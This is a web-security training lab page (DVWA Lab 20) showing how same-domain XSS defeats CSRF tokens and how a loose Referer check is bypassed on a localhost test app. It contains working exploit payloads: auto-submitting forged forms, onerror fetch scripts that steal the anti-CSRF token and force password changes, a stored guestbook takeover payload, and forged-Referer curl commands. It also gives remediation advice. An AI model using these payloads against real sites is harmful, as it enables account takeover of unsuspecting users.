Hacking Labs -- Day 2026 of 300
100%

DVWA CSRF Advanced Lab 2026 — Token Bypass via XSS and Referer Validation Flaws | Hacking Lab20

DVWA CSRF Advanced Lab 2026 — Token Bypass via XSS and Referer Validation Flaws | Hacking Lab20
🧪 DVWA LAB SERIES
FREE

Part of the DVWA Lab Series — 30 Labs

Lab 20 of 30 · 67% complete

DVWA CSRF Advanced Lab for 2026 :— Developers add CSRF tokens and believe the problem is solved. It often isn’t. The token prevents a naïve forged form submission because the attacker doesn’t know the token value. But when the same application also has a stored XSS vulnerability — even on a completely unrelated page — that XSS can fetch the CSRF-protected page, read the token out of the HTML, and include it in the forged submission. The CSRF protection is cryptographically sound. The XSS is the bypass. This is why application security cannot be evaluated one vulnerability at a time. Individually, a medium-severity stored XSS and a high-severity CSRF are two separate findings. Chained together, they are a one-click account takeover that a skilled attacker will exploit before the security team’s next sprint review.

🎯 What You’ll Master in Lab 20

Understand how CSRF tokens work and precisely why XSS on the same domain defeats them
Build and deliver a working no-token CSRF attack at Low security
Extract a live CSRF token via XSS fetch and use it in a forged request at Medium security
Identify and exploit Referer header validation flaws at High security
Chain stored XSS with CSRF token bypass for a fully automated account takeover payload
Document the attack chain in a format suitable for a penetration test or bug bounty report

⏱️ 55 min lab · 3 terminal exercises · Localhost DVWA only

📋 Prerequisites — Complete Before Lab 20

  • Lab 4: DVWA CSRF Basics — understand how a basic CSRF attack without any token protection works before attempting token bypass
  • Lab 8: DVWA XSS Reflected — the XSS execution context used for token extraction in this lab builds on Lab 8’s techniques
  • Lab 19: DVWA XSS Cookie Theft — same-domain XSS used to exfiltrate data; Lab 20 applies the same XSS execution to extract CSRF tokens instead of session cookies

Lab 4 established basic CSRF where no token exists and a forged form submits freely. Lab 19 established XSS execution context on the same DVWA domain, showing how JavaScript running inside the victim’s browser can exfiltrate data. Lab 20 connects both: XSS provides the same-origin execution needed to read a CSRF token that cross-origin requests cannot access. Completing this lab completes the client-side attack chain. The DVWA Lab Series then moves to Lab 21’s SQL Injection High Security — a different attack class where security level escalation requires increasingly sophisticated query techniques.


Why CSRF Tokens Are Bypassed When Same-Domain XSS Exists

The CSRF token defence relies on one assumption: that an attacker’s page, loaded in the victim’s browser from a different origin, cannot read the content of the protected application’s pages. This is the Same-Origin Policy at work — cross-origin JavaScript cannot read the response body from a different domain. A forged form on attacker.com cannot fetch victim-app.com/change-password and read the CSRF token from the HTML response because the Same-Origin Policy blocks that cross-origin read.

XSS on the same domain destroys this assumption. When an attacker injects JavaScript into a page on victim-app.com itself — through any XSS vulnerability on any page of the application — that script runs in the victim-app.com origin. It is no longer cross-origin. It can freely make XMLHttpRequest or fetch calls to any other page on victim-app.com and read the full response body, including any CSRF token embedded in a hidden form field. The attacker’s injected script extracts the token, constructs the forged request including the token, and submits it — all within the same trusted origin. From the server’s perspective, the token is valid. The request appears legitimate. The CSRF protection is completely defeated.

This is the core insight of the XSS+CSRF chain: CSRF tokens protect against cross-origin forged requests. They do not protect against forged requests constructed within the same origin by injected JavaScript. If any XSS vulnerability exists anywhere on the application — even on a low-traffic, seemingly unimportant page — it can be weaponised to bypass CSRF protection on any other page of the same application.

Scope Thinking for Bug Bounty: When you find a stored XSS anywhere in an application, immediately ask: what CSRF-protected actions exist on this domain? Password change, email change, privilege grant, payment authorisation? Each of these is potentially reachable via the XSS+CSRF chain. A medium-severity stored XSS combined with a CSRF-protected password change becomes a Critical severity account takeover chain — and the combined finding almost always commands a higher payout than either finding individually.
securityelites.com
XSS+CSRF Chain — Why Same-Domain XSS Defeats CSRF Tokens
❌ CROSS-ORIGIN ATTACK (blocked by SOP)
attacker.com → fetch(‘victim.com/change-pw’) → BLOCKED: cross-origin read denied
Cannot read CSRF token → cannot forge valid request

✅ SAME-ORIGIN XSS ATTACK (bypasses SOP)
XSS injected on victim.com/guestbook → fetch(‘victim.com/change-pw’) → ALLOWED: same origin
Reads HTML response → extracts user_token=abc123 → forges request with valid token
Server validates token → accepts request → password changed

📸 The fundamental reason CSRF tokens fail against same-domain XSS. The Same-Origin Policy (SOP) prevents cross-origin reads — attacker.com cannot read victim.com’s CSRF token. But XSS injected on victim.com runs within that same origin, making all fetch/XHR requests same-origin and therefore readable. The CSRF token is cryptographically strong but the SOP protection it relies on has been eliminated by the XSS vulnerability. Both findings must be remediated together to close the chain.


Low Security — Basic CSRF Without Token Protection

At DVWA Low security, the change password form submits without any CSRF token — a direct recreation of the basic vulnerability covered in Lab 4. Revisiting it here serves two purposes: confirming your understanding of how the forged form works before adding complexity, and establishing a baseline to compare against the token-protected Medium security level. The Low security CSRF attack is a straightforward HTML form that auto-submits via JavaScript when loaded by an authenticated victim.

The forged form targets the DVWA password change endpoint directly, including the new password values but no CSRF token because none is required. When an authenticated user loads the attacker’s page, the auto-submit fires, the form POST goes to DVWA, the server processes it, and the password is changed. The attack completes without the victim performing any deliberate action beyond loading the malicious page.

LOW SECURITY — BASIC CSRF FORGED FORM (NO TOKEN)
<!– Save as csrf_low.html and open in a browser while logged into DVWA –>
<!DOCTYPE html>
<html><body onload=”document.forms[0].submit()”>
<form action=”http://localhost/dvwa/vulnerabilities/csrf/” method=”GET”>
<input type=”hidden” name=”password_new” value=”hacked123″>
<input type=”hidden” name=”password_conf” value=”hacked123″>
<input type=”hidden” name=”Change” value=”Change”>
</form>
</body></html>
# Intercept the form in Burp to confirm the request structure first
# Visit: http://localhost/dvwa/vulnerabilities/csrf/
# Fill in a password change and intercept in Burp Proxy
# Check: is there a user_token field in the request?
# Low security: NO token present
GET /dvwa/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change
# Verify password change succeeded
# Log out of DVWA, try logging in with new password: hacked123

⚡ EXERCISE 1 — KALI TERMINAL (15 MIN)
Confirm No-Token CSRF and Intercept the Token at Medium Security

⏱️ 15 minutes · Kali + DVWA + Burp Suite Proxy intercepting

CSRF BASELINE — LOW THEN INTERCEPT MEDIUM TOKEN
# Step 1: Intercept Low security CSRF request in Burp
# DVWA Security = Low > Vulnerabilities > CSRF
# Fill “New Password: test1” + “Confirm: test1” + Change
# In Burp Proxy > HTTP History:
GET /dvwa/vulnerabilities/csrf/?password_new=test1&password_conf=test1&Change=Change HTTP/1.1
# Confirm: no user_token parameter in this request
# Step 2: Build and test the forged form
cat > /tmp/csrf_low.html <<‘EOF’
<html><body onload=”document.forms[0].submit()”>
<form action=”http://localhost/dvwa/vulnerabilities/csrf/” method=”GET”>
<input type=”hidden” name=”password_new” value=”pwned_low”>
<input type=”hidden” name=”password_conf” value=”pwned_low”>
<input type=”hidden” name=”Change” value=”Change”>
</form></body></html>
EOF
firefox /tmp/csrf_low.html &
# Page opens and immediately submits — check DVWA for password change success
# Step 3: Switch DVWA to Medium security
# Repeat the manual password change and intercept in Burp
GET /dvwa/…/?password_new=test2&password_conf=test2&Change=Change&user_token=7f3a2b1c HTTP/1.1
# Note: user_token is now present — this is the CSRF token
# Check the page source to find where it’s stored:
curl -s -b “PHPSESSID=$(cat /tmp/sessid); security=medium” \
http://localhost/dvwa/vulnerabilities/csrf/ | grep user_token
<input type=’hidden’ name=’user_token’ value=’7f3a2b1c9d8e4f5a’ />
# This is the token we need to extract via XSS

✅ What you just learned: The Burp intercept comparison between Low and Medium security makes the token’s role concrete. At Low, the GET request has no user_token — any forged form works. At Medium, user_token appears and the server validates it matches the stored session value. The curl command confirms where the token lives in the page HTML: a hidden input field. This is the target for the XSS fetch extraction in Exercise 2. The token changes on every page load, which is why you cannot simply observe one and reuse it — you must extract a fresh one for each forged request.

📸 Screenshot the Burp intercept showing the Low request (no token) and the Medium request (with user_token). Post to #lab-20-csrf-advanced on Discord.


Understanding the DVWA Anti-CSRF Token

Before attempting to bypass the token, it’s worth understanding exactly what it is and why the basic bypass strategies fail. The DVWA anti-CSRF token is a randomly generated 32-character hexadecimal string stored in the PHP session on the server side and embedded in every sensitive form as a hidden input named user_token. When the form is submitted, the server checks whether the submitted user_token matches the one stored in the session. If they match, the request is accepted. If they don’t match or the token is missing, the request is rejected with an “invalid token” response.

This design defeats the naive cross-origin attack because the attacker cannot read the token from a page they don’t control on the victim’s domain. The token is different for every user and every session. Even if an attacker managed to observe their own token, submitting it in a forged request against a different user’s session would fail because the server checks the token against the requesting session, not against a global value. The only way to bypass this is to obtain the victim’s current token — which is only possible if you have same-origin code execution.

CSRF TOKEN STRUCTURE — VIEW PAGE SOURCE AND INSPECT
# View the CSRF page source to find the token in the HTML
curl -s -b “PHPSESSID=YOUR_SESSION; security=medium” \
http://localhost/dvwa/vulnerabilities/csrf/ \
| grep -A1 “user_token”
<input type=’hidden’ name=’user_token’ value=’3f7a9c2b1e8d4f5a67890abc12345678′ />
# Token characteristics:
# – 32 hex characters (128-bit entropy) — unpredictable
# – Changes on every page load (not reusable)
# – Tied to the current PHP session
# – Validated server-side on every POST/GET submission
# Confirm the token validates correctly — replay an old token
curl -s -b “PHPSESSID=YOUR_SESSION; security=medium” \
“http://localhost/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=wrong_token_value”
Invalid token
# Stale or wrong token = rejected. Must extract a fresh, valid token to proceed.


Medium Security — CSRF Token Extraction via XSS Fetch

The XSS+CSRF bypass exploits the same-origin read capability that XSS grants. When JavaScript injected on victim-app.com makes a fetch request to another page on victim-app.com, the browser treats it as a same-origin request and allows reading the response body. This is fundamentally different from what cross-origin JavaScript can do. The injected script fetches the CSRF-protected page, parses the HTML response to extract the token value, and then constructs a second request — the actual CSRF attack — that includes that fresh, valid token.

In DVWA, the XSS Reflected vulnerability is on the same localhost domain as the CSRF-protected password change form. JavaScript injected through the XSS input can fetch the CSRF page and read its response. The token extraction uses a regex match on the response HTML to find the user_token value, then immediately uses it to construct the forged GET request. The entire chain — fetch token, forge request with token, submit — happens in a single script execution that completes in milliseconds from the victim’s browser.

MEDIUM SECURITY — XSS TOKEN EXTRACTION AND CSRF CHAIN PAYLOAD
# This payload injects via DVWA XSS Reflected — same domain as CSRF endpoint
# Enter this in the XSS Reflected name field (security = medium, use onerror bypass)
# Step 1: Payload structure — fetch CSRF page, extract token, forge request
<img src=x onerror=”
fetch(‘/dvwa/vulnerabilities/csrf/’)
.then(r => r.text())
.then(html => {
var token = html.match(/user_token.*?value='([^’]+)’/)[1];
fetch(‘/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=’+token);
});”>
# Alternative using XMLHttpRequest (older browser compatibility)
<img src=x onerror=”
var xhr=new XMLHttpRequest();
xhr.open(‘GET’,’/dvwa/vulnerabilities/csrf/’,true);
xhr.onload=function(){
var token=xhr.responseText.match(/user_token.*?value='([^’]+)’/)[1];
var x2=new XMLHttpRequest();
x2.open(‘GET’,’/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=’+token,true);
x2.send();
};
xhr.send();”>
# Verify the password was changed after injection fires
curl -s -c /tmp/newcookies -b “security=medium” \
-d “username=admin&password=hacked&Login=Login” \
http://localhost/dvwa/login.php | grep -i “welcome\|failed”
Welcome to Damn Vulnerable Web Application
# Login with new password succeeds — account taken over

securityelites.com
Burp Suite — XSS+CSRF Chain: Token Fetch then Forged Request
Request 1: XSS payload fetches CSRF page (same-origin read)
GET /dvwa/vulnerabilities/csrf/ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=medium
← Same-origin: full HTML response readable by injected JS

Request 2: Forged CSRF with extracted token
GET /dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked
&Change=Change&user_token=3f7a9c2b1e8d4f5a HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=medium
← Valid token extracted from Request 1 response — server accepts this

📸 The XSS+CSRF chain as seen in Burp Suite. Two requests fire in rapid succession: Request 1 fetches the CSRF-protected page and the injected JavaScript reads the user_token value from the HTML response body. Request 2 immediately fires with that fresh token in the URL — the server validates it as correct and processes the password change. Both requests carry the victim’s session cookie, making them indistinguishable from legitimate user actions.

⚡ EXERCISE 2 — KALI TERMINAL (20 MIN)
XSS+CSRF Token Bypass — Full Chain at Medium Security

⏱️ 20 minutes · Kali + DVWA + Burp Suite capturing requests

MEDIUM SECURITY — XSS TOKEN BYPASS FULL CHAIN
# Step 1: Confirm current admin password works
# Log in to DVWA: http://localhost/dvwa/login.php
# Credentials: admin / password (default)
# Set security to MEDIUM
# Step 2: Note your current PHPSESSID
# F12 > Application > Cookies > localhost > PHPSESSID value
echo “Current session: [your PHPSESSID here]”
# Step 3: Navigate to XSS Reflected (Medium security)
# URL: http://localhost/dvwa/vulnerabilities/xss_r/
# Inject this payload in the “name” field:
<img src=x onerror=”fetch(‘/dvwa/vulnerabilities/csrf/’).then(r=>r.text()).then(html=>{var t=html.match(/user_token.*?value='([^’]+)’/)[1];fetch(‘/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=’+t);});”>
# Step 4: Watch Burp Proxy > HTTP History
# You should see TWO requests fire almost simultaneously:
# Request 1: GET /dvwa/vulnerabilities/csrf/ (token fetch)
# Request 2: GET /dvwa/vulnerabilities/csrf/?…user_token=XXXX (forged)
# Step 5: Verify password was changed
# Log out: http://localhost/dvwa/logout.php
# Try login with: admin / hacked
# If it works: CSRF token bypass confirmed
curl -c /tmp/jar.txt -b “security=medium” \
-d “username=admin&password=hacked&Login=Login” \
http://localhost/dvwa/login.php -L | grep “Welcome\|failed”
# Step 6: Reset password back to original for next exercise
# Log in with hacked, go to CSRF page, change back to password

✅ What you just learned: The two-request sequence in Burp makes the XSS+CSRF bypass mechanism completely visible. Request 1 (the token fetch) and Request 2 (the forged CSRF) fire within milliseconds of each other — both carrying the victim’s session cookie, both appearing legitimate to the server. The key technical detail to observe: the user_token value in Request 2 exactly matches the value embedded in the HTML response of Request 1. This proves the extraction worked. This chain is reproducible on any application where: (1) stored or reflected XSS exists, (2) the CSRF-protected page returns a token in its HTML, and (3) the two endpoints share the same origin.

📸 Screenshot the Burp HTTP history showing both requests (token fetch + forged CSRF with token). Post to #lab-20-csrf-advanced on Discord.


High Security — Referer Header Validation and Its Bypass

DVWA High security adds Referer header checking as an additional CSRF protection layer. When the password change form is submitted, the server inspects the Referer header in the HTTP request to verify the request originated from the DVWA application itself. If the Referer doesn’t contain the expected host value, the request is rejected. This is a defence-in-depth measure that many real applications use alongside or instead of token-based protection.

The DVWA High security Referer check uses a string-contains validation — it checks whether the Referer header value contains the host string (typically “127.0.0.1” or “localhost”) anywhere within it. This is a common implementation mistake. A strict check would verify that the Referer exactly matches the application’s origin. A loose contains-check can be satisfied by any Referer URL that has the target string anywhere in it — including in the path or query string of a completely different domain, if the attacker can control those URL components.

The practical bypass in a lab environment: the Referer check passes if the Referer URL contains “127.0.0.1”. If you host your CSRF PoC at a URL like http://attacker.com/127.0.0.1/csrf.html, the path component “127.0.0.1” is present in the Referer string and the loose check passes. Additionally, PHP’s $_SERVER['HTTP_REFERER'] can often be manipulated or stripped by browser privacy settings — some implementations fail open (accept the request) when the Referer header is absent.

HIGH SECURITY — REFERER VALIDATION CHECK AND BYPASS
# Step 1: Check DVWA High source to understand the Referer check
# In DVWA: View Source button shows server-side PHP
# Key check (simplified):
if( stripos( $_SERVER[ ‘HTTP_REFERER’ ] ,$_SERVER[ ‘SERVER_NAME’ ]) !== FALSE )
# stripos = case-insensitive string position check
# SERVER_NAME = “localhost” or “127.0.0.1”
# This checks if “localhost” appears ANYWHERE in the Referer string
# Step 2: Test without Referer — does it fail open?
curl -s -b “PHPSESSID=YOUR_SESSION; security=high” \
“http://localhost/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=VALID_TOKEN”
# Without –referer flag: may return “Invalid token” or “Access denied”
# Step 3: Test with a forged Referer containing localhost in the path
curl -s -b “PHPSESSID=YOUR_SESSION; security=high” \
–referer “http://attacker.com/localhost/csrf” \
“http://localhost/dvwa/vulnerabilities/csrf/?password_new=bypass&password_conf=bypass&Change=Change&user_token=VALID_TOKEN”
# “localhost” appears in the Referer path — loose check passes
# Step 4: In Burp — manually modify Referer header in Repeater
# Intercept password change request
# Right-click > Send to Repeater
# Modify Referer: http://attacker.com/localhost/
# Send — check if password changes successfully

⚠️ Strict vs Loose Referer Validation: The DVWA High bypass works because DVWA intentionally implements a flawed contains-check. Real applications with robust CSRF protection perform exact origin matching using the Origin header (not Referer), which includes only the scheme, host, and port without any path component — making the path-injection bypass impossible. When testing real targets, first check whether the application uses the Origin header or Referer header for CSRF validation, as this determines which bypass techniques are applicable.

Stored XSS + CSRF Chain — Automated Account Takeover

The highest-impact version of this attack combines stored XSS with the CSRF token bypass into a fully automated payload. When injected into DVWA’s stored XSS guestbook, every authenticated user who loads the guestbook page automatically has the token extraction and forged request chain fired against them — no phishing link, no interaction required. This is what makes the combined finding genuinely Critical rather than just High.

The stored XSS guestbook payload injects the full fetch-token-then-CSRF chain into the message field. The maxlength restriction needs to be bypassed via DevTools (change from 50 to 500 characters), exactly as done in Lab 19. Once stored, the payload persists. Every user who visits the guestbook has their CSRF token extracted and their password silently changed to the attacker’s chosen value. On a real application, a stored XSS+CSRF chain on a high-traffic page could result in hundreds of account takeovers before the payload is discovered and removed.

⚡ EXERCISE 3 — KALI TERMINAL (20 MIN)
Stored XSS + CSRF Chain — Persistent One-Click Account Takeover

⏱️ 20 minutes · Kali + DVWA · Security: Low · Two browser windows

STORED XSS + CSRF CHAIN — PERSISTENT PAYLOAD
# SETUP: Both vulnerabilities need to be in scope
# Security = LOW (CSRF has no token, XSS stored is injectable)
# Reset admin password to ‘password’ before starting
# Step 1: Navigate to XSS Stored
# URL: http://localhost/dvwa/vulnerabilities/xss_s/
# F12 > Inspector > find mtxMessage textarea > change maxlength from 50 to 500
# Step 2: Inject the combined stored XSS + CSRF payload into Message field
<img src=x onerror=”fetch(‘/dvwa/vulnerabilities/csrf/’).then(r=>r.text()).then(h=>{var t=h.match(/user_token.*?value='([^’]+)’/);if(t)fetch(‘/dvwa/vulnerabilities/csrf/?password_new=owned&password_conf=owned&Change=Change&user_token=’+t[1]);});”>
# Name field: anything e.g. “visitor”
# Click: Sign Guestbook
# Step 3: Confirm your OWN password was changed when you stored the payload
# The payload fires for you immediately when the page reloads
# Try logging in with: admin / owned
# Step 4: Simulate a SECOND victim loading the guestbook
# Open incognito window > log in as admin / owned (new password)
# Reset password back to ‘password’ for testing
# Navigate to guestbook: http://localhost/dvwa/vulnerabilities/xss_s/
# Payload fires again automatically — password changes to ‘owned’ again
# Try logging in from a third window: admin / owned — succeeds
# Step 5: Document the persistence — count how many times the payload fires
curl -s -b “security=low” “http://localhost/dvwa/vulnerabilities/xss_s/” \
| grep -c “onerror”
# Count = 1: payload persists in guestbook until manually removed

✅ What you just learned: The stored XSS+CSRF chain is the most dangerous client-side attack combination in web application security. No social engineering, no phishing, no victim interaction beyond loading the page. The payload fires automatically for every authenticated user who visits the guestbook. In a real application with high traffic, this single injection could take over thousands of accounts before anyone notices the pattern. This is precisely the impact argument that should accompany a combined XSS+CSRF bug bounty report — not “I found XSS” and separately “I found CSRF,” but “I chained XSS with CSRF to achieve automated account takeover affecting all authenticated users who visit page X.”

📸 Screenshot showing: (1) payload stored in guestbook, (2) your own password changed to ‘owned’, (3) the second victim’s password changed after loading the page. Post to #lab-20-csrf-advanced on Discord with tag #lab20-complete.


Reporting the XSS+CSRF Chain in a Pentest or Bug Bounty Report

A combined XSS+CSRF chain report must communicate two things that individual vulnerability reports often miss: the combined impact is greater than the sum of its parts, and the finding requires a combined fix — patching only the XSS or only the CSRF in isolation leaves the chain exploitable. The report structure should present the chain clearly, demonstrate the full attack from injection to account takeover, and specify remediation for both components.

The title of a chained report should always name the outcome, not the technique: “Stored XSS on /guestbook enables One-Click Account Takeover via CSRF Token Bypass” tells a triager exactly what is at stake before they read a single line of the report. The severity should reflect the worst-case combined impact — in this case, Critical, because all authenticated users who visit the guestbook page are subject to automated account takeover without any additional interaction.

securityelites.com
Bug Bounty / Pentest Report Structure — XSS+CSRF Chain
Title: Stored XSS on /guestbook Enables Automated Account Takeover via CSRF Token Bypass
Severity: Critical
Summary:
Stored XSS in the guestbook message field (same domain) is used to extract
a valid anti-CSRF token from the password change endpoint. The extracted token
is immediately used to forge a password change request. Every authenticated
user who loads the guestbook has their password silently changed.
Remediation (both required):
1. Fix XSS: apply htmlspecialchars() to all stored user input before output
2. Fix CSRF token scope: SameSite=Strict cookie + Origin header validation
Patching only one component leaves the chain exploitable via the other

📸 Recommended report structure for XSS+CSRF chained findings. The critical point in the remediation section is that both components must be fixed simultaneously — patching only the XSS removes the token bypass path but a future XSS on the same domain restores it. Patching only the CSRF without fixing the XSS means the injection persists and can be chained with any future CSRF-vulnerable endpoint. The finding is Critical precisely because the chain creates impact larger than either vulnerability in isolation.

🧠 QUICK CHECK — Lab 20 CSRF Advanced

A developer fixes the stored XSS vulnerability from your chained report by sanitising the guestbook input. They leave the CSRF token validation as-is. Is the account takeover chain now closed?



📋 Commands Used Today — Lab 20 CSRF Advanced Reference

curl -b “…” http://localhost/dvwa/vulnerabilities/csrf/ | grep user_tokenExtract current CSRF token from DVWA page HTML response
fetch(‘/dvwa/vulnerabilities/csrf/’).then(r=>r.text()).then(html=>{…})XSS payload: same-origin fetch to read CSRF token from protected page
html.match(/user_token.*?value='([^’]+)’/)[1]Regex to extract token value from raw HTML response string
<img src=x onerror=”fetch+token+forged_request”>Medium security: img onerror event handler wraps the full XSS+CSRF chain
curl –referer “http://attacker.com/localhost/” [csrf_url]High security: Referer path injection to satisfy loose string-contains check
DevTools: change maxlength=”50″ to maxlength=”500″Stored XSS character limit bypass to fit the full chain payload

🏆 Mark Lab 20 Complete — DVWA CSRF Advanced Lab 2026

You have completed the client-side attack chain: XSS (Labs 8–10, 19) culminating in CSRF token bypass and automated account takeover (Lab 20). Lab 21 covers SQL Injection High Security — bringing the server-side attack complexity up to match the client-side sophistication you’ve built in the last four labs.


❓ Frequently Asked Questions — DVWA CSRF Advanced Lab 2026

What is DVWA CSRF advanced lab?
Lab 20 is the advanced CSRF lab focusing on bypassing anti-CSRF token protection. It covers three security levels: Low (no token — basic forged form), Medium (token present but bypassed via same-domain XSS fetch extraction), and High (token + Referer header validation with a loose string-match bypass). It builds on Lab 4 (basic CSRF) and Lab 19 (XSS same-domain execution).
Can CSRF tokens be bypassed?
Yes, in specific circumstances — most importantly when a same-domain XSS vulnerability exists. XSS allows JavaScript to run within the target application’s origin, enabling same-origin reads of the CSRF-protected page to extract the token. Other bypass scenarios include predictable tokens, Referer-only validation with loose string matching, and implementations that fail open when the token parameter is omitted entirely.
What is the XSS and CSRF chain attack?
XSS+CSRF uses a Cross-Site Scripting vulnerability on the same domain to fetch the CSRF-protected page, extract the hidden user_token from the HTML response, and submit a forged request including that valid token. The Same-Origin Policy allows the same-domain XSS to read responses from any page on the same domain — the exact capability that makes the CSRF token bypass possible. Both vulnerabilities must be fixed to close the chain.
What is Referer header CSRF bypass?
Applications that validate the HTTP Referer header for CSRF protection can be bypassed when the check is a loose string-contains rather than exact domain matching. Including the target domain string in the path of the attacker’s URL (e.g., attacker.com/localhost/csrf.html) causes the Referer to contain the target string and pass the check. Some browser privacy settings also strip the Referer header, which can cause fail-open implementations to accept the request.
How does DVWA high security CSRF protection work?
DVWA High implements both a user_token in the form and a Referer header check via PHP stripos(). The Referer check verifies the request Referer contains the SERVER_NAME string. The bypass is the loose contains-check — placing the server name anywhere in the Referer URL path satisfies the check. In real applications, Origin header validation with exact matching is significantly stronger than Referer-based checks.
What DVWA labs connect to Lab 20?
Lab 4 (DVWA CSRF basics) introduced the attack without any token protection. Lab 19 (XSS Cookie Theft) established same-domain XSS execution. Lab 20 chains both. Lab 21 (SQL Injection High Security) continues the escalating complexity track. Labs 8, 9, 10, 19, and 20 together form the complete DVWA client-side attack sequence.
← Previous

Lab 19: DVWA XSS Cookie Theft

Next →

Lab 21: SQL Injection High Security

📚 Further Reading

  • DVWA XSS Cookie Theft — Lab 19 — The XSS execution context Lab 20 exploits for CSRF token extraction was established in Lab 19 — completing both in sequence builds the full mental model of same-domain XSS impact.
  • DVWA CSRF Lab — Lab 4 — The foundational CSRF lab with no token protection — revisit it alongside Lab 20 to understand exactly what the token adds and why same-domain XSS defeats that addition.
  • DVWA Lab Series Hub — Full 30-lab overview — Lab 20 completes the client-side chain; the next phase covers server-side escalation with SQL Injection High (Lab 21) and vulnerability chaining (Lab 22).
  • PortSwigger CSRF Token Bypass Labs — PortSwigger’s guided CSRF bypass labs covering token validation weaknesses, SameSite cookie bypass, and Referer-based protection flaws in real application contexts.
  • OWASP CSRF Prevention Cheat Sheet — Definitive CSRF prevention reference — Synchronizer Token Pattern, SameSite cookies, Origin header validation, and Double Submit Cookie pattern with implementation examples.
ME
Mr Elite
Owner, SecurityElites.com
The XSS+CSRF chain was the finding that first made me understand why vulnerability chaining changes the entire value equation in web security. On a client engagement, I found a stored XSS in a user-profile bio field rated Medium by the automated scanner. The same application had a CSRF-protected account deletion endpoint. I chained them: anyone who viewed an attacker’s profile had their account deleted automatically. Individually, the XSS was Medium and the CSRF was High — both worth reporting but neither world-ending. Chained, it was a single stored payload that would silently delete every account of every user who visited the attacker’s profile. The client’s security team went from “we’ll patch this next sprint” to “we need an emergency deployment today.” That’s the power of demonstrating combined impact rather than individual findings.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *